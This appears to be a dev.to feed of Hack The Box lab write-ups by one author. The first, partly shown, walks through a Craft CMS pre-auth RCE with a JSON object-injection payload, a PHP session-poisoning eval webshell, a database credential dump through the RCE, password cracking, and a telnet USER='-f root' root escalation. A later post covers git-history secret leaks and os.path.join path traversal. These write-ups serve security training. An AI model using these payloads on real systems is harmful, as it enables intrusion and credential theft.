      &lt;/span&gt;&lt;span class="nl"&gt;"__construct()"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[[]],&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"_fn_close"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"phpinfo"&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;csrfTokenValue&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"http://orion.htb/index.php?p=actions/assets/generate-transform"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html &lt;span class="nt"&gt;-w&lt;/span&gt; &lt;span class="s2"&gt;"HTTP %{http_code}&lt;/span&gt;&lt;span class="se"&gt;\n&lt;/span&gt;&lt;span class="s2"&gt;"&lt;/span&gt;
&lt;span class="nb"&gt;grep&lt;/span&gt; &lt;span class="nt"&gt;-i&lt;/span&gt; &lt;span class="s2"&gt;"PHP Version"&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;PHP Version 8.2.30 came back. CSRF bypassed, arbitrary function execution confirmed.&lt;/p&gt;

&lt;h2&gt;
  
  
  The Reverse Shell That Wouldn't Come Home
&lt;/h2&gt;

&lt;p&gt;With the vuln confirmed, I reached for Metasploit's exploit/linux/http/craftcms_preauth_rce_cve_2025_32432 module. First problem: it couldn't retrieve the session/CSRF page at all. Turned out the module doesn't set VHOST, so it was hitting nginx with Host:  instead of Host: orion.htb. Setting VHOST orion.htb fixed that immediately.&lt;/p&gt;

&lt;p&gt;Second problem was worse: the module got past the CSRF check, injected the stub — and then reported "no session was created," repeatedly. I ran tcpdump on tun0 during a retry and confirmed the target really was sending SYN packets to my listener. iptables counters showed packets being accepted. ss -tlnp confirmed a process was bound and listening on the exact IP:port. Every individual piece checked out — and yet no SYN-ACK ever went back.&lt;/p&gt;

&lt;p&gt;I never fully root-caused that. Best guess: the module's built-in handler tears itself down faster than the target's connect-back completes. Rather than keep burning time on it, I pivoted to getting command execution without needing an inbound connection.&lt;/p&gt;

&lt;h2&gt;
  
  
  Manual RCE via Session Poisoning
&lt;/h2&gt;

&lt;h3&gt;
  
  
  Step 1. Poison a PHP session file with a webshell:
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-c&lt;/span&gt; webshell_cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="s2"&gt;"http://orion.htb/index.php?p=admin/dashboard&amp;amp;a=&amp;lt;?=eval(&lt;/span&gt;&lt;span class="se"&gt;\$&lt;/span&gt;&lt;span class="s2"&gt;_GET['cmd']);die()?&amp;gt;"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-o&lt;/span&gt; /dev/null &lt;span class="nt"&gt;-D&lt;/span&gt; -
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: -g stops curl treating [] in $_GET['cmd'] as glob syntax.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h3&gt;
  
  
  Step 2. Trigger via CSRF-bypass endpoint, instantiating yii\rbac\PhpManager with itemFile pointed at the poisoned session (init() calls require() on that path):
&lt;/h3&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"assetId"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;1&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"handle"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"width"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"height"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="mi"&gt;123&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="nl"&gt;"as session"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"craft&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;behaviors&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;FieldLayoutBehavior"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__class"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"yii&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;rbac&lt;/span&gt;&lt;span class="se"&gt;\\&lt;/span&gt;&lt;span class="s2"&gt;PhpManager"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
      &lt;/span&gt;&lt;span class="nl"&gt;"__construct()"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="p"&gt;[{&lt;/span&gt;&lt;span class="nl"&gt;"itemFile"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"/var/lib/php/sessions/sess_&amp;lt;id&amp;gt;"&lt;/span&gt;&lt;span class="p"&gt;}]&lt;/span&gt;&lt;span class="w"&gt;
    &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;





&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;token&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s1"&gt;'http://orion.htb/index.php?p=actions/assets/generate-transform&amp;amp;cmd=system("id");'&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload2.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;blockquote&gt;
&lt;p&gt;&lt;strong&gt;Note&lt;/strong&gt;: cmd must be a PHP statement, not a raw shell command.&lt;br&gt;
&lt;strong&gt;Note&lt;/strong&gt;: curl rejects literal spaces in URLs — use %20 or base64-encode complex commands.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Output: uid=33(www-data) gid=33(www-data). Full RCE, no listener required.&lt;/p&gt;

&lt;h2&gt;
  
  
  Credential Harvesting
&lt;/h2&gt;

&lt;p&gt;Craft's .env is world-readable to www-data:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="c"&gt;# cmd=system("cat%20/var/www/html/craft/.env");&lt;/span&gt;
&lt;span class="c"&gt;# → CRAFT_DB_USER=root, CRAFT_DB_PASSWORD=SuperSecureCraft123Pass!&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;MySQL bound to 127.0.0.1 only — queried through RCE, base64-encoded to sidestep quoting headaches:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;B64&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="si"&gt;$(&lt;/span&gt;&lt;span class="nb"&gt;base64&lt;/span&gt; &lt;span class="nt"&gt;-w0&lt;/span&gt; &lt;span class="o"&gt;&amp;lt;&amp;lt;&amp;lt;&lt;/span&gt; &lt;span class="s2"&gt;"system('mysql -u root -pSuperSecureCraft123Pass! orion -e &lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt;select username, email, password from users;&lt;/span&gt;&lt;span class="se"&gt;\"&lt;/span&gt;&lt;span class="s2"&gt; 2&amp;gt;&amp;amp;1');"&lt;/span&gt; | &lt;span class="nb"&gt;sed&lt;/span&gt; &lt;span class="s1"&gt;'s/+/%2B/g'&lt;/span&gt;&lt;span class="si"&gt;)&lt;/span&gt;
curl &lt;span class="nt"&gt;-g&lt;/span&gt; &lt;span class="nt"&gt;-s&lt;/span&gt; &lt;span class="nt"&gt;-b&lt;/span&gt; cookies.txt &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"X-CSRF-Token: &amp;lt;token&amp;gt;"&lt;/span&gt; &lt;span class="nt"&gt;-H&lt;/span&gt; &lt;span class="s2"&gt;"Content-Type: application/json"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-X&lt;/span&gt; POST &lt;span class="s2"&gt;"http://orion.htb/index.php?p=actions/assets/generate-transform&amp;amp;cmd=eval(base64_decode('&lt;/span&gt;&lt;span class="nv"&gt;$B64&lt;/span&gt;&lt;span class="s2"&gt;'));"&lt;/span&gt; &lt;span class="se"&gt;\&lt;/span&gt;
  &lt;span class="nt"&gt;-d&lt;/span&gt; @payload2.json &lt;span class="nt"&gt;-o&lt;/span&gt; response.html
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Got bcrypt hash for &lt;a href="mailto:adam@orion.htb"&gt;adam@orion.htb&lt;/a&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Cracking — Plan A Failed
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;hashcat &lt;span class="nt"&gt;-m&lt;/span&gt; 3200 ...
&lt;span class="c"&gt;# ERROR: no OpenCL device (clinfo showed rusticl, zero devices)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Switched to John:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;john &lt;span class="nt"&gt;--format&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;bcrypt &lt;span class="nt"&gt;--wordlist&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;/usr/share/wordlists/rockyou.txt hash.txt
&lt;span class="c"&gt;# cracked in ~19s&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Password reuse → SSH as adam.&lt;/p&gt;

&lt;h2&gt;
  
  
  Privilege Escalation: CVE-2026-24061
&lt;/h2&gt;



&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;netstat &lt;span class="nt"&gt;-tulnp&lt;/span&gt;     &lt;span class="c"&gt;# telnet on 127.0.0.1:23&lt;/span&gt;
telnet &lt;span class="nt"&gt;--version&lt;/span&gt;   &lt;span class="c"&gt;# GNU inetutils 2.7&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;USER env var passed unsanitized to login(1). -f root skips authentication:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;&lt;span class="nv"&gt;USER&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="s2"&gt;"-f root"&lt;/span&gt; telnet &lt;span class="nt"&gt;-a&lt;/span&gt; 127.0.0.1
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Instant root shell.&lt;/p&gt;

&lt;h2&gt;
  
  
  Takeaways
&lt;/h2&gt;

&lt;ul&gt;
&lt;li&gt;CSRF tokens are session-bound, not a magic wall — correctly replaying the cookie/token pairing is enough to bypass them for testing.&lt;/li&gt;
&lt;li&gt;Object-injection RCE via config-driven instantiation (Yii's __class mechanism) is a pattern worth recognizing beyond Craft.&lt;/li&gt;
&lt;li&gt;.env files and PHP session storage are attack surface — session files writable by the web server + require()-able = code execution primitive.&lt;/li&gt;
&lt;li&gt;Tooling failures are data too. Confirming the firewall/socket layer wasn't the problem (tcpdump + iptables + ss) was useful diagnostic work even when I couldn't fully root-cause the issue.&lt;/li&gt;
&lt;li&gt;Internal-only daemons are still root paths once you have any foothold.&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Flags
&lt;/h2&gt;

&lt;p&gt;Flags redacted per standard practice for retired-box writeups.&lt;/p&gt;

</description>
      <category>hackthebox</category>
      <category>appsec</category>
      <category>pentesting</category>
      <category>ctf</category>
    </item>
    <item>
      <title>What Rooting an "Easy" HTB Box Taught Me About Chained Vulnerabilities</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Sat, 25 Jul 2026 21:53:23 +0000</pubDate>
      <link>https://dev.to/greenbladesec/what-rooting-an-easy-htb-box-taught-me-about-chained-vulnerabilities-5535</link>
      <guid>https://dev.to/greenbladesec/what-rooting-an-easy-htb-box-taught-me-about-chained-vulnerabilities-5535</guid>
      <description>&lt;p&gt;I do AppSec triage for a living — mostly reading through Bugcrowd submissions&lt;br&gt;
and reasoning about whether a reported issue is actually exploitable, and how&lt;br&gt;
badly. So when I pick weekend HTB boxes to work through, I'm not really&lt;br&gt;
looking for the hardest exploit dev challenge I can find. I'm looking for&lt;br&gt;
boxes that exercise the same instincts I need on a Tuesday afternoon at work:&lt;br&gt;
reading an unfamiliar application's surface area, noticing what's &lt;em&gt;not&lt;/em&gt;&lt;br&gt;
supposed to be reachable, and following a thread of small mistakes to their&lt;br&gt;
logical end.&lt;/p&gt;

&lt;p&gt;This weekend's box (an easy-rated Linux machine on HTB) turned out to be a&lt;br&gt;
genuinely great case study for that, so I wanted to write up what I actually&lt;br&gt;
learned rather than just "I did the box."&lt;/p&gt;
&lt;h2&gt;
  
  
  Recon taught me more than the target's services
&lt;/h2&gt;

&lt;p&gt;The initial port scan only turned up two ports — SSH and a webserver — and&lt;br&gt;
the webserver redirected to a hostname I hadn't seen before. That alone is a&lt;br&gt;
small but useful reminder: a redirect to an unfamiliar hostname is a signal to&lt;br&gt;
go add that hostname to your resolver and actually look at what's there,&lt;br&gt;
not just note "HTTP open" and move on.&lt;/p&gt;

&lt;p&gt;Once I was looking at the real site, a vhost fuzzing pass (ffuf, with the&lt;br&gt;
default/junk response size filtered out) turned up two more subdomains that&lt;br&gt;
weren't linked from the main site anywhere. One turned out to be a self-hosted&lt;br&gt;
git server, the other an internal business application. Neither would have&lt;br&gt;
been found by just clicking around the visible site. &lt;strong&gt;Attack surface and&lt;br&gt;
visible surface are not the same thing&lt;/strong&gt;, and I don't think I'll ever stop&lt;br&gt;
being reminded of that.&lt;/p&gt;
&lt;h2&gt;
  
  
  The finding I'll actually remember: secrets survive "deletion"
&lt;/h2&gt;

&lt;p&gt;The git server had a public repo containing infrastructure config for the&lt;br&gt;
business app — a Docker Compose file and an environment file. The environment&lt;br&gt;
file, as it currently existed, had its password field blanked out. Good&lt;br&gt;
hygiene, right?&lt;/p&gt;

&lt;p&gt;Except &lt;code&gt;git log -p&lt;/code&gt; on that file showed an earlier commit where the real&lt;br&gt;
value was still there in plaintext. Someone had added the credential, realized&lt;br&gt;
the mistake, and "fixed" it by blanking the field in a new commit — without&lt;br&gt;
realizing (or without rotating the credential either way) that the value was&lt;br&gt;
still permanently readable by anyone who cloned the repo and looked at its&lt;br&gt;
history.&lt;/p&gt;

&lt;p&gt;This is, I think, the most broadly useful lesson from the whole exercise:&lt;br&gt;
&lt;strong&gt;a secret that ever touches a commit is compromised the moment that commit&lt;br&gt;
is pushed anywhere with more than one set of eyes on it.&lt;/strong&gt; Blanking it in a&lt;br&gt;
later commit does nothing for anyone who can run &lt;code&gt;git log&lt;/code&gt;. The only real fix&lt;br&gt;
is treating the credential as burned and rotating it — full history rewrites&lt;br&gt;
are a nice-to-have at best, not a substitute.&lt;/p&gt;

&lt;p&gt;I now have &lt;code&gt;git log -p --all | grep -iE "password|secret|key|token"&lt;/code&gt; as a&lt;br&gt;
near-automatic step any time I get read access to a git repo during recon,&lt;br&gt;
lab or otherwise.&lt;/p&gt;
&lt;h2&gt;
  
  
  Credential reuse, twice over
&lt;/h2&gt;

&lt;p&gt;That leaked password worked directly against the admin login of the business&lt;br&gt;
application, once paired with an email address I found from an entirely&lt;br&gt;
different piece of recon — a "careers" page had a job posting listing a&lt;br&gt;
hiring manager's contact email. Worth remembering that OSINT on a target&lt;br&gt;
isn't only infrastructure enumeration; sometimes it's just reading the&lt;br&gt;
website like a human would and noting who's named where.&lt;/p&gt;

&lt;p&gt;The application itself happened to be running a version with a recently&lt;br&gt;
disclosed, authenticated remote code execution vulnerability, reachable&lt;br&gt;
through a file-attachment feature. The validation preventing arbitrary file&lt;br&gt;
uploads was purely client-side (extension checking in the browser), so the&lt;br&gt;
actual exploitation was: rename the payload to an allowed extension, upload&lt;br&gt;
it, then use an intercepting proxy to rename it back to something executable&lt;br&gt;
before the request actually reached the server. I've now seen this exact&lt;br&gt;
pattern — client-side-only extension validation — in more than one context,&lt;br&gt;
both in labs and in real bug reports I've triaged. It's essentially&lt;br&gt;
decorative security if there's no matching server-side check.&lt;/p&gt;

&lt;p&gt;Once I had code execution as the web server's low-privilege user, a &lt;em&gt;second&lt;/em&gt;&lt;br&gt;
config file on the box (this time the CMS's own database configuration) had&lt;br&gt;
yet another password — different from the git-leaked one — which worked&lt;br&gt;
directly for SSH access as a real system user. Two independent instances of&lt;br&gt;
password reuse across service boundaries, in a single chain. It's a small&lt;br&gt;
thing to say "don't reuse passwords across services," but seeing it exploited&lt;br&gt;
twice back to back in one box is a much better teacher than the advice on its&lt;br&gt;
own ever is.&lt;/p&gt;
&lt;h2&gt;
  
  
  The privilege escalation: why &lt;code&gt;os.path.join()&lt;/code&gt; isn't a safety net
&lt;/h2&gt;

&lt;p&gt;This is the part I most wanted to write about, because it's a genuinely&lt;br&gt;
transferable code-review lesson, not just a CTF trick.&lt;/p&gt;

&lt;p&gt;Enumerating scheduled jobs on the box turned up a systemd timer running a&lt;br&gt;
Python script as root every minute. The script's purpose was mundane:&lt;br&gt;
sync files out of specially-flagged "template" git repositories into a&lt;br&gt;
staging directory, presumably so they could be used elsewhere on the system.&lt;br&gt;
The vulnerable logic looked, in spirit, like this:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="k"&gt;for&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt; &lt;span class="ow"&gt;in&lt;/span&gt; &lt;span class="nf"&gt;files_from_git_ls_tree&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;target&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;join&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;staging_dir&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;makedirs&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;path&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;dirname&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;),&lt;/span&gt; &lt;span class="n"&gt;exist_ok&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="bp"&gt;True&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="nf"&gt;write_file&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;target&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="nf"&gt;get_blob_contents&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;repo&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;filepath&lt;/span&gt;&lt;span class="p"&gt;))&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The bug is that &lt;code&gt;filepath&lt;/code&gt; comes straight from &lt;code&gt;git ls-tree&lt;/code&gt; output with zero&lt;br&gt;
validation, and &lt;code&gt;os.path.join()&lt;/code&gt; will happily honor &lt;code&gt;../&lt;/code&gt; sequences in its&lt;br&gt;
second argument — it does not sanitize traversal, it just joins path&lt;br&gt;
components. If &lt;code&gt;filepath&lt;/code&gt; were something like&lt;br&gt;
&lt;code&gt;../../../../root/.ssh/authorized_keys&lt;/code&gt;, the resulting &lt;code&gt;target&lt;/code&gt; resolves&lt;br&gt;
&lt;em&gt;outside&lt;/em&gt; &lt;code&gt;staging_dir&lt;/code&gt; entirely.&lt;/p&gt;

&lt;p&gt;The catch is that Git's own CLI won't normally let you create a tracked file&lt;br&gt;
whose path contains &lt;code&gt;..&lt;/code&gt; — that protection lives in the porcelain commands&lt;br&gt;
(&lt;code&gt;git add&lt;/code&gt;, &lt;code&gt;git commit&lt;/code&gt;), not in the underlying object format itself. So the&lt;br&gt;
actual technique was to build the raw git objects by hand: hash and&lt;br&gt;
zlib-compress a blob and a sequence of tree objects directly into&lt;br&gt;
&lt;code&gt;.git/objects&lt;/code&gt;, chain them into a tree structure whose path components&lt;br&gt;
included the traversal sequence, wrap it in a commit object, and point a&lt;br&gt;
branch ref directly at that commit — bypassing the CLI's safety checks&lt;br&gt;
entirely because I was never asking the CLI to validate a &lt;code&gt;..&lt;/code&gt; path; I was&lt;br&gt;
constructing the low-level objects that represent one.&lt;/p&gt;

&lt;p&gt;Once pushed to a repository flagged as a template, the vulnerable sync script&lt;br&gt;
picked it up, joined its untrusted path onto the staging directory with no&lt;br&gt;
validation, and wrote a file straight through to a sensitive location outside&lt;br&gt;
the intended directory — running as root, which meant the write itself&lt;br&gt;
carried root privileges.&lt;/p&gt;

&lt;p&gt;&lt;strong&gt;The generalizable takeaway:&lt;/strong&gt; path-joining functions across virtually every&lt;br&gt;
language (&lt;code&gt;os.path.join&lt;/code&gt; in Python, &lt;code&gt;path.join&lt;/code&gt; in Node, &lt;code&gt;Path.Combine&lt;/code&gt; in&lt;br&gt;
.NET) treat &lt;code&gt;..&lt;/code&gt; as a normal path component and resolve it — they are not&lt;br&gt;
sanitization functions, and none of them will stop a traversal on their own.&lt;br&gt;
Any time a path component originates from data you don't fully control — a&lt;br&gt;
filename from an upload, a path from a tarball, a path from a git tree,&lt;br&gt;
anything — the resulting joined path needs to be canonicalized (e.g.&lt;br&gt;
&lt;code&gt;os.path.realpath()&lt;/code&gt;) and explicitly checked to confirm it's still inside the&lt;br&gt;
intended base directory before it's touched. I now treat this as one of the&lt;br&gt;
first things I look for when reviewing file-handling code in triage, right&lt;br&gt;
alongside the more commonly-flagged injection points.&lt;/p&gt;

&lt;h2&gt;
  
  
  Closing thought
&lt;/h2&gt;

&lt;p&gt;Nothing about this box required novel exploit development. Every step was a&lt;br&gt;
recognizable category of mistake: a secret lingering in history, a password&lt;br&gt;
reused where it shouldn't have been, client-side-only validation, and an&lt;br&gt;
unsanitized path join. That's exactly why I think easy-to-medium HTB boxes are&lt;br&gt;
worth doing deliberately rather than skipping to the hard ones — the value&lt;br&gt;
isn't in the difficulty of any single step, it's in seeing how ordinary&lt;br&gt;
mistakes chain together into full compromise, which is precisely the shape&lt;br&gt;
most real-world findings take.&lt;/p&gt;

&lt;p&gt;Tools used: &lt;code&gt;nmap&lt;/code&gt;, &lt;code&gt;ffuf&lt;/code&gt;, &lt;code&gt;curl&lt;/code&gt;, Burp Suite, &lt;code&gt;git&lt;/code&gt;, a small custom Python&lt;br&gt;
script for raw git object construction, &lt;code&gt;ssh&lt;/code&gt;, &lt;code&gt;nc&lt;/code&gt;.&lt;/p&gt;

</description>
      <category>security</category>
      <category>ctf</category>
      <category>appsec</category>
      <category>python</category>
    </item>
    <item>
      <title>HTB Cap — IDOR, Plaintext FTP Creds, and the Danger of Linux Capabilities</title>
      <dc:creator>greenbladesec</dc:creator>
      <pubDate>Sun, 28 Jun 2026 01:15:58 +0000</pubDate>
      <link>https://dev.to/greenbladesec/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-40eh</link>
      <guid>https://dev.to/greenbladesec/htb-cap-idor-plaintext-ftp-creds-and-the-danger-of-linux-capabilities-40eh</guid>
      <description>&lt;p&gt;&lt;strong&gt;Hack The Box | Easy | Linux | Retired&lt;/strong&gt;&lt;/p&gt;




&lt;p&gt;If you're new to Hack The Box or prepping for OSCP, Cap is the box you want to do early. Not because it's flashy — it isn't. No exotic CVEs, no complex buffer overflows. Just three fundamental misconfigurations chained together cleanly:&lt;/p&gt;

&lt;ol&gt;
&lt;li&gt;An &lt;strong&gt;IDOR vulnerability&lt;/strong&gt; on a web app storing network captures with sequential, predictable IDs&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Plaintext FTP credentials&lt;/strong&gt; leaking inside a packet capture&lt;/li&gt;
&lt;li&gt;A &lt;strong&gt;Linux capability misconfiguration&lt;/strong&gt; (&lt;code&gt;cap_setuid&lt;/code&gt; on Python) that gives instant root&lt;/li&gt;
&lt;/ol&gt;

&lt;p&gt;These aren't niche CTF tricks. IDOR is in the OWASP Top 10. FTP is still running on production networks in 2026. Linux capabilities are regularly misconfigured. Cap teaches you to recognize all three.&lt;/p&gt;




&lt;h2&gt;
  
  
  Recon
&lt;/h2&gt;

&lt;p&gt;Start with nmap — always.&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight shell"&gt;&lt;code&gt;nmap &lt;span class="nt"&gt;-sC&lt;/span&gt; &lt;span class="nt"&gt;-sV&lt;/span&gt; &lt;span class="nt"&gt;-oN&lt;/span&gt; nmap_services.txt 10.129.12.255
